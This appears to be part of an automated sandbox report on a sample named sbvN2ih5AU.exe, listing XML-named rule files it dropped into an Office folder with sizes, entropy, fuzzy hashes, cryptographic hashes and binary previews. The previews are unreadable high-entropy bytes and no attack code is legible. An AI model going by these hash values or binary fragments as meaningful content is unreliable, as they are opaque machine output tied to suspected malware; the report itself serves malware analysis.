Preview:	<?xml..D.K..a.:CH-.ML,2.?KDq....h.g.U..o.1..OV..,...^.)..r]..`..H.v~veN..z9.O.'......,).f...o..[+.>.<.S..C....M..4>...s.Il...R...^........UE.H^xa....N..J.#.MA../^..N..g?.T;..\|..8ef.".BU....`.J"yV{..@G!.,.....;....5..%.....h...e3)....% Mz....~T!...?P....}.M...RF...Z...4....m.o....v.t.E."...2.5..%..E...o.B..0"...G..b.....w.....f..`..(.N"J......... ..5.~...k.T._R-. ""..L.`............f.!j.$..uK...8..h%.i.%..!../.W..[.C7.s y.......X2...xU0........}...G9~.h....qF`.MP.{X.Al,u.i......o...R<g...)..4..y....bR.x..Y{~.......^.....-...j+.'K.-'....E....&...%OuN.F;....y.Jx.....o.8..=....K.W^...WN7).../.Ob.r...M.....Q............0..>.....o...#.H.a\|.Rg.`.l..,[y-<`s...:.-....vK-*B....n...X....xv;;,.,..uJ..@[.....&..;..R.......;..]...Tv......k....T&...#.o.h..L.$..]...]...E"o.;..I.LXU.,....8s?&... ...J0....Prv..$...c...Y......e.3.b.R.U.W..0..k.....<."..~........S.T....6:..A.....A.j+N.9.v`.. ....0..&d.Z.N:......o.b+..).M.y.4.c. "N.>..}.+..2...C....K.j. ....x.Y

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10820v3.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	5842
Entropy (8bit):	7.964202302613371
Encrypted:	false
SSDEEP:	96:Z6c+7dW6oq80V7/aJGEmNqa57LtuegRD2fLfpfqsE0mCqDX/jtwFhlHO:4z7Ep901iJbev7YfD2bpcL/WFDHO
MD5:	2784A7E25C225A15A5B6286BDFE156B7
SHA1:	16F713D83E338EAD2D97CFEB9C08FA3ECA9968E9
SHA-256:	0C70A0B5B43347F179DF04DE37104150DBD70291681002969FA2DEEBC13B514F
SHA-512:	A51973BB5AF61C56A6BE4FB63194A147DA96ED334FDF93259D1A819A4CAEA102D97AD8285E7D8D2C348A622C4D01DD6BF706FF069F43FBE1D138DFF9ED0B4E26
Malicious:	false
Preview:	<?xml...r7..P..?.........-..K..XMoA.V...P..r.......+....T.....5l..r.L.@...$...8.........d.B\..(.._...Md../.$.(.;...DWbb....~-...S......5.,...[048SqN....Q._ 11.8...P4 `X........gI........%...t.n.:..\..._.:lAt.m.?l...........m..qe2..<.L.&.JqX..\|.v...T...I]%.#.......\....l.....$.,....O..)..8...4$........F`.....}C.A.C{.O.a.5o.x...T..........x.}T.eGmZQe5.R..........+k...j..,...w......S... y.....U..l......R}\?..{6.kk..9k.C.......O..;0I.{6....o....8a.cb.j......0.+..p..>....d....%.}>b...:=.O.cG........,.R9.SFc.N.y-..I.x........f."3s....\|KP.Y.LS6.n.E.Sc...-...aP...%..U...O8>.f..x^rz`..2].....wA.az...w..Du.s.s.n.".......WVP....g..%.%7..B........D.s..i..8.N..i.......... .s.....<.#.HJ.....&ak.^..1.4...#y....?...@VE.f.t<.......i!.....C....js..t..XPh...p...z.d..3. ..)..w.c..a......O..o0,.M#.nd(w...C.S4..2..+1..=%..i..rjPko.,...U\|.I4..c.X...5.`.CCd......M...U....a..U....i.8u..t..=..qWl...a'.m.v....f..O.....s~w.O.@....H[.]oOp.D..A......C.:..v.....G..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10821v3.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	4787
Entropy (8bit):	7.959992252412373
Encrypted:	false
SSDEEP:	96:6+7nun1GQYcgSHwXXEKczeVjvw22VH7aMYoiYwPgQKTab:r6183ieXEKcMjJqaMYoiYAgBTC
MD5:	52CB130ED6C76C4D10FCF9F7A5BFF0D9
SHA1:	3111F8CD90D433DB72BCACECB3A0310331A92C97
SHA-256:	510FA5CD5757F0FFCC142B832D6C4A6023E7C7CC966E228CCD43240867DF4946
SHA-512:	4589B86887781878540395A969561185E0C194141E717C526EEFEB87C8A94831E9AF643FC5512042364CC83DB48565999AD52864486F415AB43A1416B7D63A6E
Malicious:	false
Preview:	<?xml....9EW..a.^..b^.t.ixssD..k.......N..5...@W2.C.Qq.Q.."....}4...Xe...X..>'........&...`...(!.~h....a.......~..&.....$..N2.\6...J.cz...g.A.Pl....(.=.~..C.."..23.....0.T...z.3.B.z.K+Nq.9.$P..p..Nj....u}g..:h.6S.45...Y"...j...c..S.Cv.....nb.+..w.........3.C...B..&_..Q,N.Gfe.-.R.y....2.-.."z...=.(.R.-..^.....Za.?M......0.H....Z)..6...U.m......i.t...S.\|).E<6.#l.zd...q...q......[L..ev...{lI.]\.....u.-........P...2.v.X..n..@.o;.t.yn.Tuk......D.)].`...3.,..K...Gw....~w"....@.e..b....-f...n....HV....0.4\|{..9...b..+i...c?.........g.......=.t\|..C.g...n.f..#^"..'P...`.?....F.U\|......".....u..x9[&\j.=(....'].D2..@_.@2.#8q!..]v...H\|.@F..bEv8.&....O.T..B....M(_..+..@...K. ..@p.....)%...>v>a....>...!.;.l.ZG.p...=.P.H...X.`....G..{........^.e..6.".Q~B;..N...,.....J...3.I.L.`j.k.~s.....~.J.+..&....G.$t......(r.d.......xTE.._.;:...Ra...#n*/...p.VI.~...W......M....Fi>n..up.w`Y....^F\|p...H..B..d>?.g....B...t...Sz....l{..ws1\|...q.....e`J?)D=F.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10822v2.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	4786
Entropy (8bit):	7.96037732087602
Encrypted:	false
SSDEEP:	96:8FVVLSlIa4RJs/3K80GXIfAqLB0/80R5V9ZoV3cw1oHqog3x/:orSaa4RJs/a80GXIDB0k0jjqF7sw/
MD5:	AD62CDC766C822DB5FC518310EF072EA
SHA1:	7326B8B7DBF0E2E0D4838A9FFEAC3FE003CFFA9D
SHA-256:	2AE466A7ADE9CB7ED590C4F31C46420CA78EAB187D26E5750BDEF8E337C725F4
SHA-512:	DFED59BCC6B3382F97DAD92A71125527486884DC854DD31D32A795CB62106850A5BA59B7D8428FA9B245F0EBB60DDE4953E9E005DEFC6F063101E68F05942A9B
Malicious:	false
Preview:	<?xml.Lj...V"\..{]..v..'..B...n.....g.=Ya.../..hlc0Zl.......@..nx...O.!2o.!&..OCw>pq..D...sL@_P...n3..!w.,.... ....S...........GC....JA.....P....RB...hJ.-I..T.H.....F.....0..........~..+7....+..L.E...g.8..MYq.4..vU..yG..Q.e....E....G..b.%K.........Z..g.q...J:.....G......B.._.a...R........@o%.'..=.D...b.N.-.jo.=..t..~<B. }F0...P..C.?.....gT3.B.u..I&.....4.r?.`E.:.O5t........8.....U .bU.b.m .H.]a.....?7...`.X.Mz.F9..2.h....\|.a...>K....j%N.vjoE\|S...j....3.CW..ak.=..y.Z......=.j...eX.0.>b.tm+.p..J..&\..,..~:)U...T.z-.O.mZ./.\.d....D..R}.d.z....]SG....~...(E.GF..v.V.>...l.;.._e..6...6......"...2.MZ.... .A.W.ahp.0Hok.`.....P.?.a ..y!.d......V.Is\..(..#E......`..\v.c.#.../......w..xo..#.b.Y...)7..O..V.[s..(...R..].7.u....L...+^.K...(8.J..[....L...W>.N.P+.....=J....Z.'....h...o....a.5~...s..`..wS.>...N...."o[.~X..%(..."...h'......V.........Hx.!.w.m....s.\|......3z.m....Ji.q...N.@z..9...?..<....I....G.Y+f..d._..d......3.I.(b....oWI.p......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10829v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	3030
Entropy (8bit):	7.93114250309095
Encrypted:	false
SSDEEP:	48:O+3VpvhFGeqCSk46V4sQCoU/232+y8I0oGhhK1Q3VNIsuGLYMmMblTmDSlOBEAD:vXQUSt6VNQCo/LDhMiPIsuGhbcz1
MD5:	33FD641CA339B702C385974A6F35E171
SHA1:	35338487F3FC685E15AD4762CCE6B3D43650A988
SHA-256:	0DEE8C3DB947CEF32E86CE11FD6227BC0C54E009FBDBE7EA404EF974C4C07B5B
SHA-512:	E3EED5D475DF4B8FCD74BEEC65121EC67BD2DC34EADD7DCD3AB1BDDE5DC53711CB28614F1F0CA554CFE542A94F697CE32CCF0EC5982B32DFF6A9B0AD88A69F0A
Malicious:	false
Preview:	<?xml"@...;7}@._.\.z..j.m.=5+.......l<........SD...m....F.....4V ...i.7.:...9..=%......X`X...`w?m.v.6=s.W..\|?.Y%\|..N...t%.. j.......o.s..z.krU>!...1.... .F...N$.]L.wB.M..B.:d.d.......m..."..U..&.\|...#.{a.ncR\|......8... ..sQ(d[)...+...s.........N..Pu.-B3+.i.<..v...:5.F.Yj.u"d>.c~[V..M.._x.....VP3%0.9.R...M.:.%.6NL.K.Y..\3[.E..J{..)H<..,~s.....S..Vw.J.bc)\..3.Q.......C.p...Cx...1!....%k..=.>.....\$c.el....D.h..g...E./.qLn..I....$...#...up.;..f.......$e.....a....r.8.J..}..J.G(0wmGn....;."..)..5.....l....p..........2...Q....Cr.. ..#.$.M....6.GY..^..kO.%....!..+kd..2...7]...P...?.=.EEqQ>,uZFS..l[S.Pn..e...$...h<^8...M....3.y...c.<$..Ia....B1.s.5..l..>.(...-.........."G...Z.E..;z...A\gN..5`{..b.m...b>4...FaOL..@...-....U....-.+.L........r./.v..<..2...\|...U.$.j...VP..U....9..S;...v1o...H.."=P..d...;s2.....o.p.+Z..h.E...C..a..l.W ......6.t,.YzX...W.}5..U.Vg.P.....Td...D-T.....a..@.2.....\..AN.......W..\.2....mW.i..>..x.f..f...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10879v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	789
Entropy (8bit):	7.691894719398392
Encrypted:	false
SSDEEP:	24:o/31+VszHj6iRnStSypAbFXMWt2XE4s2bD:o/3YqDYSypAb3oXE4/D
MD5:	BD456E35F30D416EE6A209C931A3BFCA
SHA1:	A8AD38EDFBBEAB91ED86F8C207984B2361A01F64
SHA-256:	3C341188424920B63A1D5D7472E01A92D32229038CA6FF5E12784E60D74C0A93
SHA-512:	FBE3440FDBE312C88A238A89DEA6B60D828B1A3FFD63A410FA941B8F43F2A28CDE732545FEBEB0E661F2B4673A508618F0D9BE77CE2FF4A038761D4C2C900E07
Malicious:	false
Preview:	<?xml,..(t..K,<T.5.RB_..SS-Q...O.5.k....!2.aD@.D.$.....af{G..W+ydk.9....Q...42..s.H...I..Bt.bN..Q....'.6&..8".."K..f..R..U.rrS[....^.7.e.. ."..\cb...z.W..'........?.i...1J.o4.0.....oQ.......}...lb.$l..pP......]RG.v..=..<...n?3...A.w...YQ...C.[y..C>.~.`..s$...x...C.$...&4.~...E...9.1tSq.^.U.......!F..t...Y..E..6J1s..fo...[=..8.u.k.b.'.........V.=n.c..'.(...6..U....L:.T.<.T..`..H].0`.$.2....5@....J.d...e..^T..E:<...-".E.....@[.l......q.....J..>(.Q...E....@..'.u......x.._.d....dl..._..o.%..R.<.ax>.5.m.e.Gl.......L...tk\|YDp...{.c.}..Ak(o....:.%_....(..b:T........N.Q<v.N.3..,....a..iO..t.ps.V....5~.P......`KsD*{..8....3.. $.iY.f!...K#..B....Y....b7...R.`S....w...n...:...mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10880v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.9481424359753925
Encrypted:	false
SSDEEP:	48:Oys6NFjdHJoAEn1y7j+c4RLix/M9ydCx+jeN318+8V4OrSD+XwvdoLpb9ObOBZfO:Ov89dzEnoH+c4R2oGCxUeNGtSyXwvdoE
MD5:	F3BBBA91D8D5493A5BEEFD24E53475CE
SHA1:	A83910A4465866DCD14FE36CF8931E713E978400
SHA-256:	ABFCE4622C224C3C1A87A2E7C50285096C88CF80ED44B222C27A391A8CA2350D
SHA-512:	6DD655320F7FF20B97511287E28B1717EB030CFEB5858796D888F080D804ADC228FF2E60D5AA87E8972920F517D580E882FC8B2EA3776274AF11FC6B4BFCE329
Malicious:	false
Preview:	<?xml...L.+...o.2.\|....."+</.$........}#@.q..9.WbK(.C...o.&Z...`........H<.......q....J....>.\?=5......R6F<.....0P.n-j...b.S...E..K.....NO.^.lE>..5..Q...F.....D..{..uq.Q._Dl.IA~.g..K......\.=x.xI...H'......r.B.6.^].G...........J..<.6A.....R( .....D.....DZG...)N../ye.TD{e.WP......\)...0%.._..\|...{...K.f.?'.+...;.j......4..xB-\p{.....k.J-.....{........X..r...3..-.H.J.........@P..H\.1}......#t\.1.vU>..9.t....L......_..2...d......L..j".`.y...]..&C.'..g..B.@.Z..S].x......u..G.......`...7..5i.j.s.N.RM..h+F.g..Je`.,u..BC.wX.."..{....4g.B."....{j.n.@4.....&...=...._..9...lR...x..l.+.@..[0)y.O..YA...]N......r.=....M2q_.6k.qY...18..4+........p.\...e.I..,L.2d.=.a/.M9.1K.....kW?$S....4.e.:7.kMb...b...&.......V&..$......n..e.,...zj.....\......P9.:t..`f...o.O...U.bK.....}...\|....@.6X..5......%@..k$.....yo.6......K.)_3.\..r..#...p..b....fZ....B,.f..X.d.u..E7I.....l..o....$..D.......8..!...gd......P.:.......[.8.XD....C.e...$.2..y.>..v......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10881v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	823
Entropy (8bit):	7.74337007035504
Encrypted:	false
SSDEEP:	24:iMwW/inXkrSHZLNGI+D/3CCaoebEZ9CamfKVcddQ5NZo2bD:iMtanXg0P+LyCaPaaKVcddQBbD
MD5:	D5EFBD0BDBDD6B4725928D4BD2CDC5D3
SHA1:	66BAAF1F6AB786810248C1510EE49A53DAEBC9C1
SHA-256:	C210B69B7849CD319EF7DD09C02347DF45EB1A4E19060465593B30D5DCFF2D22
SHA-512:	AC985FD01D7B2AC933BC9F07F06D0322720DABC64866F03415BFBDBCE91E5FE8EBE4377F887B9A3AEBA4A36B84E7B2D9A21FB29AD4396291167E71C79BD5FB6C
Malicious:	false
Preview:	<?xml.....h.....z..2...~D.....o..I..^.9.x..J.Q.-.. .^(.....Dd..u^p..~..\|..R......_.<../zo\D`....._g.w.J.o.q!.8.......vL4\.P..yS,.Z....... O...\|.\0/h..6v.fd..Y...o...b.G.....S....\|.J..N.bp.....r.s9..oL..4.E.....=.X....Om>.....^..[.g._c7..y.$.N]o..:#.\....1.i.0.h4V.f&.......hQ...^.;.x.)R.Z.+....13.[.L......t.S).K..Jg.n.......a.qX.[+n"...>...+m.....M.fYm/C;....._\...Y._p.O.".x4.......@.....(.?..Z..&.@.8,.dC....D.-.78......!}q.B..y....[R..}V.-.......Qs...[...v.]...Y.x8.v.k....W.B7..2/;..I63.f.....:..xp...j.-.c^.....3.Q.....j[..8.i<..SZ2..MKki./..G:K.gR...r..C..:.....A0..?F.`V.V$.&..<".{.U.v.>.7..g.w...z."D!...............]..jBi..J..4?..?.{RU....Hgd..........\...1.k.p J..#Q...%. f\|.....iv..24A>0.0...+_C. mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10882v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.938516024190313
Encrypted:	false
SSDEEP:	48:jU09MxkNlMOytWUieVUcBIZYBTwdsCd+nt/iwdKenf8jeYS4eSID:jUVkNytVUcBOYKfoKdenfr
MD5:	CF66567DABCB55C83BFE972DFAF05A61
SHA1:	57B10B5321155D01F24B6F64087CB1E05D001CDE
SHA-256:	1557576AFD6BB88BD74DF22436C809A74D64C09CB4C2FD85D5CED938DEA7D722
SHA-512:	9C2A7AA421BEDE65E7EA3E7C6ADD9CFB8FB124FFAD8969CEDF4973D96F345DAD82DE2B18A9E9AA0CDE1E9F78F7B1DF7402207EA042F38C4551B5B7397101B1AF
Malicious:	false
Preview:	<?xml.a.;+-..3..x..k.Q.....L..t.yK3w+.........a.>......t..z{..g.../.A.O." .-A..t.."...xwPL!QFG5. .i........f."N..@.x.6..;....+%k..I.....(.R.....<....@..%...D...F/.....X2..@4.bU...\.........Q.V^...$.,!.^:..+.....<...:\lf3...z..L.... ...b....^Q..)..q..?&.J)...,....E.$....2..vpS'@!.X..Z...X,bJ.O.pV..:"...c.;..............,/...0t..z...q.95U.X..6.rNH...._.\i.P......;..?..FeXf....0..6....-8.A....W.j...n....+Dx.....lJ..2_y....Q....Y..9td.0w(cE...5........].......A.f...&..^{.{&A.!>.D...Q....p..e ..m.u........<&.~4...[..fj6a.<..&E....xDK.g.6...EEj.......uI...)a..^....o.G6o...p..O....\..N.!..uc.........$...'JKHx..S.q..lN...........A.EN.G..0h.!.1._.@...h.....'I.5c.4#.M{....jUb>..P.....V..u...B.oD&...,..R.y{f..n..d,.5.U.(.x.D..t....uj.#./...r@.C0.g).&.2.\|i{).....-A#...D...s...b{wDN....}.c..#./..7.4.GU.+..B3..#.e..]q.>...[....;...\|)..q...h..Y......IE...R.DVx.U.5:...QX....I`..j.<i[...8j.._ngCbg....L.....?18.C..].kqn..*.,K.s.....R....c......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10902v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1021
Entropy (8bit):	7.805216355476484
Encrypted:	false
SSDEEP:	24:GuAkzj/BWNRFOJEpx4hDIHS90rPYblGU90z5kCQwmo2bD:zA6j/8HFOJWOIDrPYqarTbD
MD5:	C87F371CDED95E99A8B62D0C87150B62
SHA1:	A48396FF3E414809707BFF32A3F371FFADDCB6B6
SHA-256:	8C67C8B36705CDBBE13E1CA808C310A5B3D575334D74163AF0A396D3332B3C10
SHA-512:	C29A0A3B4BF5364609B8967F1BDC4D950F2E05EF8C8921529254415C488D7C8503F6CCB20E0D8A41C7EE9032CD2844B8CEB9105E2BAEFAB361CB0A7DF2878D61
Malicious:	false
Preview:	<?xml.r".27.8<..6S..BxT..c..=...3.`.n........x. ..."..q..`..bg.[......^...{i..^..-.../.j.U.w.).R...mP...H...m.....KFhn...[l...uy:znh.e..[y.a..5H=..G..p...o...&d.....Q..i...D..'-.....:$.....0[.-ZN.o.16g.:... ...0#...1jP...)q.h2s..?....5\|>4.3.,. ..^N{.\|gL...B......:.7k..'.%#.8.1c@..l..n..$.2=N.G]`ZH!LS.`......R...8.......Z.s.@...B..q.>.....'.5zy..Rb..Y}.....}?./..Ey.vZ.#........'..z.F..{...d-<#TQ....B.$.e.><.....L..L....rr.qI..,...s... ...G.QL`.-?S..)X.....N.[c.2...o..p......'+:.a.(..`....c{8.....+.. ..(i.#...@j0.1...kT.O[.+..<.x.G.......;..fo..}wc:q..\U..D...).`...$/..../p.:z7....O........>..#...t.n..;...kSbWW..DaraD..k<.[..H"....kr[u...........'0n.U\<....,.<.............[.!FH.......(..l,\|tM.il;R..].5m+`....\|}..<..j.5....<.....w.....T..T.:v.].E?......~.H..w;...C..Q!q._..I,J......V...xA....f:R.B2.g.._..,d./1...>........J1$...p7.-U.....,gi..M...Z.w.....F..sMl...:....G.)!-.O?EF$..U..=B...._..,:%.'.......mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10906v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1398
Entropy (8bit):	7.856986927021012
Encrypted:	false
SSDEEP:	24:cnDr/ANB2H0nQHH0jzubtgFkY2nyQq/5hl3WB60LmarNr/CX/xfIq2bD:86B2H0nQHH0zFkY4mhlWB18X5KD
MD5:	351079138705788026AABC1AB788A942
SHA1:	1ADB463181F6C4DE86E9D5F3AFBACC499F329DAA
SHA-256:	5518ACD47BFC288AB395B38FE89B835FD7AA52C95340127591D814EA75DE901C
SHA-512:	8ACDECF52FE4F17B91E18204AA24076D82612B3FA1614AD33F8E55550F918386723F05B0AD4112F58753A6A08D59DC8A11CBD16884FDFB805C2D1E620A7EB2B1
Malicious:	false
Preview:	<?xml...O.A.@v..~~g.).f..>8\|.X&[V{_t...;...e....1..Gm..4.4..=n..rV..K.....?.U,X.......np.L.....uA.8.4....Z.....d..9....z<.J.r............r..Er.9.....s....21.....Zg...Q.x.....j:p.%3..R....A.(.Hx....T\|...P~)@.....;..D..~..G.R..z5.D...k..U^.7................85.....r.......c!o...W..'<."..!...h..........w99..... .v.....K....F.b.7.Wl.Nq8...JY)..B^.N.>..;....8k.I....j..X....(.Q.=....{......k>..;....XC.(...}.w....q.9..&.f...y)...]....^&....P.rR..}.>.i..j.Yby.L........o.~g...E.].wr<......cz.s....T.)B.O@1(@.6...v.......~...+....V..._.Q'./1.KjGf.F....-HP...X.v/T.<6.m.Tf....V.I..............f.-....y.F..i......g...........L(..k...{VT.#.r}yf.m.#b.?.,.B[.....G..Fk9..(.i..e..@...H8....n~.(..:...UZ.....p...o...!.g$}0.y...ou..KM6..-.&b.N...T?.......S.L.fs...j...q.Bc".4.\|.x%....O..,[s.......).5....Zl...PT.d\03..:T.F.=.yd.......9.....(..C....A.V..lR..,c=>,.M..>['N.IZx!....)1x..7.K.%.WG.R/.Pv......`.....K.Jy..(.M.{TA^].+%..@q..ck.P'...DJ.....a...=#.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10907v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	7.740580580931811
Encrypted:	false
SSDEEP:	24:yTiaECJc4gjBNDJ64R2H8Dn+USrOvpbm2t2bD:3avChwQqcgOvQjD
MD5:	E6028969E8229FC850CE41A77CAF4978
SHA1:	9B93D562DD3EEDCA2037B74710D65D12A0030BD3
SHA-256:	3566B678B0F47CDB0BA5240176A77FCA81F8E1F7BDDEF1043BED5569A0C85E65
SHA-512:	2B8C8B0341E52363C58881095B4D4CCCE7F56094D1D19144F1CD45290682360F8365BAD7CB36A2344937F4D55E65BB8E595FFA50286D57DEFF89DF7DB1DB9A81
Malicious:	false
Preview:	<?xml.x..4. ..].}.....&.,o...\.Rn.....#....Wng...'\......:j.G....2.Y.c.[JE.J-<.4..r+(....2.Za@..;....7..D...'G....t{.."..q...!...X..2y...WV.>.......WE\|fZ....7.mT.Pn....E...^..4........5...c.r!.O.sl.....L..$..@~?.``......G.@:.=.....p.G"G.P.xj/K....d..D...N%o>..-ZhX..E.........z.....x8O...._.'...K.j.$.Y.7....PX.?.....V...x.....fr.e[.#..,......\..(X.+..J.......l'.sd........<H7y..r...S.(G..!^.?....Qu..~..hW..=N..I.P...(2.....aM......._...e.......@.+....y.IW,..jn.y.1.V6]N.^yp../..3Tyx.q@W..Z[....q...B.T&...iT...=r:../....L.en.....v;..p....'yp...".PB...>.O.r\mM.nh@`(. sJ~W=..pIcbn.s........Au..9:....%.h..Q.......}[.[8....J.....-y..f..'.....A.T.fW....+=,..l..9.M,v.5.$.y.'...../..%,6.Hb...%..9.4..PW=.....@...e!@...i.A..>..w....f.eK...E...W6Zg...\|..G.....;.k..o.K...4.NW.Q....`..../U.E.. ..".,.y....;.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10924v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	891
Entropy (8bit):	7.802529169503005
Encrypted:	false
SSDEEP:	24:8wOpMnk/A3GvzuoMEhiL9NqAmUdnxlK2rT2bD:8nduhEhiLv1t1xlp8D
MD5:	42339171AFA9CE01E0E015293CEB4962
SHA1:	FED7C8117DE34F27C698C478AAE182571B0B2390
SHA-256:	933A41C404C82DB8F967B057216A0EEFF6202A3B8F6B4CD57872AFC81D29AB97
SHA-512:	27F0FAC4C14509EE02F3B9798C261087F318919363FC3E8EEB8E8B91D1CE5B8DCD94388825CB45F19B9551300E69B0A70BE428118BB050E5CF6B16C5B6A1BAAB
Malicious:	false
Preview:	<?xml.$...C...........A.Ta..n)-.1h..G.........W..sq..-j...k.7..=<...m...J.X...H......K.D.....M.N&...p1.....+#..#..,3..F\|.}+..I..(.m...j....E.uS..}..O..R...8.....]..y'..s...H....yp...'d..[.+E..Y....\......%xnm.wp.1d..aU....l.&d..5.rD..q...3..\|.......k...(,..GA!b.TD.....F...e....A..Qf.........+.#.(G.'..........QNAs....uc;.f.....U..."N....K.z-..~.il..{N..Q.........n...1.X...O...B.......n..g)...........b.Q;.ah.Xf...gDZ.%..5...x(...)U`...r.[r..:..3.5....VY.&x.......*...l....ho..v{..9..b~O5J.c.!..4.v....6+...M.>.i.(.S.......{.f=o...j.z5.7...._C<......A..P~_..J..C..x....=........^u.......:#.5...0]..p..PM.S.....57.B.)....17..K..:..x..n......-u...MNr.c..jg..N.w.Ex."..}w.C...O......R._.&.....~..O..q0.MtM.."....@....~...O..31.&.AtT....R.i..........}.f...+h.Y...mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10925v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1049
Entropy (8bit):	7.803402208076812
Encrypted:	false
SSDEEP:	24:dZgWLbGvAxu1w6R1dyKREbykXg4wZME4Clsyz4M2bD:zw1CU1dvEOkXg4w8ClsW4fD
MD5:	9E6F48774E96FAF5AF16189279E0D463
SHA1:	BDD38AF7786AF935B40E0967C562C5E9AB359DED
SHA-256:	5CC4CBFA1EB4667142DA2A44623F63094011E2070337A8ADCE37C92F2E878902
SHA-512:	74F6943F087F7EA22EDAFC0CE5EF3403149B41D1CCC91E5CC492BBA5F4CD69CCAA97F29BAA173C2000FB62FF6ECCFA0A340A646E9A70872B6577C9453D06DBE8
Malicious:	false
Preview:	<?xmlfb.A'p,..!.4..j.r!5.M..v......\|.....1..-v...5j0.a.!.....N...;.<)\.......-.....L..8....:..6..T..m\|.....u.'...`2....8...5..rp....\...]..@......l/.3J.a...X.%... .V~.......`d,.......C.G..W..uF..U....D.>uV.....".b.p.xs.............[... ..8..8...TO..#...wL7.!........D.v...'8!}._CE........X..t.......z....N.[....D-0fA........}Q.o.............R../..._.!.Ww.w_._m...j...!>.....3.0...1.K/.{..M#..N...W.U.B#j.....s..\...Z......J<<J.s.D&.G..y.^..fa.k.....f.G..W.i.......2..[.w..u...-S/.:..s.8.fi..vv..;Y..C.@....y...1..Q.[J0....$..I..Z.g%.V ....rb..6.,Ej+....B._k`.....c.L.e...@..\m2.N-@Y....vV.I..(u..V.t.l.......}x...U...k94..pJ.....2.9GN.f.=..1i..m....,....y3H].b...)...)..U;..-hT."p....9i.....N`.W.ki. .7....".3..~.6q..%B..F.].G....%..".Q...K.rn..B..S......i.Q.3(..-..y.p..8[9..:...Jn.....A....j.S..V........]qK..`...cjHu29......>.d....b..a.UUMk....@.'^$F..H..,..i.x!.\|[.;.XQ...F%4...H.%V.z......*.a-~).S........mMsRxMUuXypapZbGOAfxD9pczHmW8

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10940v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	885
Entropy (8bit):	7.709460059271198
Encrypted:	false
SSDEEP:	24:pdrSdUAXNQkJaIOiqo9r3Otq2IvzoTHRm2bD:HiUKNQYaIuoF3dvKfD
MD5:	09881EFE091D5321605DB3018740BEB5
SHA1:	857124DF7CC677DD51D0D9EB7E5C9A7D3F331977
SHA-256:	1881981EAEADED0C2091C4ADF01A1C3042B227C82022FD13A6E95A07E9C628F1
SHA-512:	1153595E35F39E7CD5685D6312DE49E5815997959ABC3FF91C4BB98A4E9DD76192A92904C741FB2FEAA0572A563A8E2DB67E110F75772D22691D92DD189AB247
Malicious:	false
